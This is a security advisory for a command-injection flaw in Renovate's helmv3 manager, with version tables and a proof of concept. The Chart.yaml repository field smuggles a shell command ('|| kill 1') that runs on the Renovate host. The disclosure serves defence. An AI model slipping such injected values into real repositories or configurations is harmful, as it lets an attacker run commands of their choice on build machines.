Packages / renovate / Security

ModerateVulnerabilityGHSA-3f44-xw83-3pmgCVE-2026-76232Published 13 Jan 2026

Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file

Your version

Affected releases · renovate

  • 40.x40.0.0 – 40.32.7Fixed in 40.33.0
  • 39.x and older31.51.0 – 39.264.1No fix, no longer updated

On 40.x, the newest line:

npm install renovate@40.33.0
Every release on a timeline
44.x
  1. Not affected

    44.0.0 – 44.190.0

    603 releases, latest

40.x
  1. Affected

    40.0.0 – 40.32.7

    130 releases

  2. Fixed

    40.33.0 – 40.62.1

    126 releases

39.x
  1. Affected

    39.0.0 – 39.264.1

    684 releases

38.x
  1. Affected

    38.0.0 – 38.142.7

    385 releases

37.x
  1. Affected

    37.0.0 – 37.440.7

    1173 releases

36.x
  1. Affected

    36.0.0 – 36.109.4

    311 releases

35.x
  1. Affected

    35.0.0 – 35.159.7

    353 releases

34.x
  1. Affected

    34.0.0 – 34.160.0

    394 releases

33.x
  1. Affected

    33.0.0 – 33.2.4

    9 releases

32.x
  1. Affected

    32.0.0 – 32.241.11

    630 releases

31.x
  1. Not affected

    31.0.0 – 31.50.2

    106 releases

  2. Affected

    31.51.0 – 31.97.3

    127 releases

12256 stable releases of renovate, oldest to newest, one row per major.

What happens

Summary

The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.

Details

Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 31.51.0 (f372a68), released on January 24 of 2022.

PoC

  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
    },
  },
  // Register any credentials to make the manager attempt to use basic auth for the Helm registry
  hostRules: [
    {
      matchHost: "charts.bitnami.com",
      username: "un",
      password: "pw",
    },
  ],
  packageRules: [
    {
      // Target of the day
      matchManagers: ["helmv3"],
      // Don't consult the actual bitnami repo
      registryUrls: [],
      // But still, trick the manager in believing there's a new version
      overrideDatasource: "custom.always",
    },
  ],
}

Chart.yaml:

apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
  - name: redis
    version: 0.1.0
    repository: oci://charts.bitnami.com/bitnami || kill 1

Chart.lock:

dependencies:
- name: redis
  repository: oci://charts.bitnami.com/bitnami
  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Note

This specific proof of concept was made a lot simpler with the introduction of the overrideDatasource configuration since version 38.120.0 (a70a6a3), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.